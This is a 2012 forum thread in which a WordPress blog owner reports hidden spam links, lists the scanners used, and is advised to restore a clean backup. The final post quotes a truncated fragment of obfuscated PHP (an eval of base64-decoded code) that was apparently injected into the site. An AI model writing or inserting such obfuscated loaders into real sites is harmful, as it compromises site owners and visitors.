1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Need help I am hacked ????

Discussion in 'Blogging' started by misteryou., Feb 18, 2012.

  1. misteryou.

    misteryou. Power Member

    Joined:
    Feb 1, 2012
    Messages:
    575
    Likes Received:
    111
    here the story
    i made some changes in a wordpress then i taken a look because i was waiting some 404 errors

    so while i checked the 404 errors i just discovered that most of the 404 errors pages aren't link from this wordpress but some affiliates links and some spammy pharma and medical sites

    Then i scanned the site with

    Comodo: nothing fund
    AVG web scan:nothing fund
    Novirusthanks: nothing fund

    Only unmaskparasites found me a suspicious inlines script and i identified this s**t line( a wp twitter plugin:sad i never upload a pluggin anywhere else that wordpress pluggin list)

    So i deleted the pluggin but it seems that the hidden links are again here in the 404 errors log
    i tested too unmaskparasites with another blog showing me aslo some hidden spam links
    so wonder if this link check is accurate ??

    i installed too exploit scan pluggin but the when i start to run the pluggin it don't finsh the scan(after 8 hours running lol)


    i am upset now,don't know what to do and even thinking to delete the blog and start a fresh one

    what can i do now
     
  2. volund

    volund Senior Member

    Joined:
    Jan 24, 2010
    Messages:
    1,166
    Likes Received:
    732
    Occupation:
    Trying to make a buck or two

    If you think your files are compromised and you can not find the problem then just delete them and upload a clean backup. All your post info is in the database so that will not be lost if you delete all your files.
     
  3. misteryou.

    misteryou. Power Member

    Joined:
    Feb 1, 2012
    Messages:
    575
    Likes Received:
    111
    i don't have a clean back up :(

    but know i suspect my template cause i installed antivirus pluggin and have a lot of lines reported, wonder if it can be fake positive results
    i am lost now
    i think i will start from zero with a fresh one instalation
     
  4. prbacklink

    prbacklink Newbie

    Joined:
    Feb 19, 2012
    Messages:
    2
    Likes Received:
    0
    oh no
    rebuilding again the will lost in pr
    damm it
     
  5. misteryou.

    misteryou. Power Member

    Joined:
    Feb 1, 2012
    Messages:
    575
    Likes Received:
    111
    i found some code like
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQ okcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxt

    if i delete this line will it be problem fixed?